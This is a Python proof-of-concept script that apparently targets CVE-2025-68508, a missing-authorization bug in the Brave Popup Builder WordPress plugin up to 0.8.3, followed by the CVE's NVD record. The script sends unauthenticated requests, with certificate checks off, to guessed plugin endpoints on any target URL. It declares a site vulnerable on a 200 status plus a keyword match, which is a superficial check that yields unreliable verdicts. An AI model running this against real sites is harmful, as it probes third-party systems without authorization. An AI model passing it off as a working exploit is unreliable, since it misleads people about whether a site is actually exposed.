CVE-2025-68508

import requests import sys # CVE-2025-68508 PoC - Brave Popup Builder Missing Authorization # Target: WordPress site with Brave Popup Builder plugin <= 0.8.3 def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-68508 Missing Authorization in Brave Popup Builder plugin """ # Common endpoints that might be affected endpoints = [ '/wp-admin/admin-ajax.php', '/wp-json/brave/v1/', '/wp-content/plugins/brave-popup-builder/api/', ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/json' } print(f'[*] Testing target: {target_url}') print(f'[*] Vulnerability: CVE-2025-68508 - Missing Authorization') for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # Try to access without authentication response = requests.get(url, headers=headers, timeout=10, verify=False) # Check if we can access sensitive data without auth if response.status_code == 200: print(f'[+] Potential vulnerability found at {url}') print(f'[+] Status Code: {response.status_code}') print(f'[+] Response Length: {len(response.text)} bytes') # Check for sensitive data exposure if 'popup' in response.text.lower() or 'config' in response.text.lower(): print('[!] Sensitive data may be exposed!') return True except requests.exceptions.RequestException as e: print(f'[-] Error testing {url}: {str(e)}') print('[*] No obvious vulnerability detected') return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-68508_poc.py <target_url>') print('Example: python cve-2025-68508_poc.py http://example.com') sys.exit(1) target = sys.argv[1] check_vulnerability(target)

{"cve": {"id": "CVE-2025-68508", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:20.650", "lastModified": "2026-04-27T19:16:26.433", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Brave Brave brave-popup-builder allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Brave: from n/a through <= 0.8.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/brave-popup-builder/vulnerability/wordpress-brave-plugin-0-8-3-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}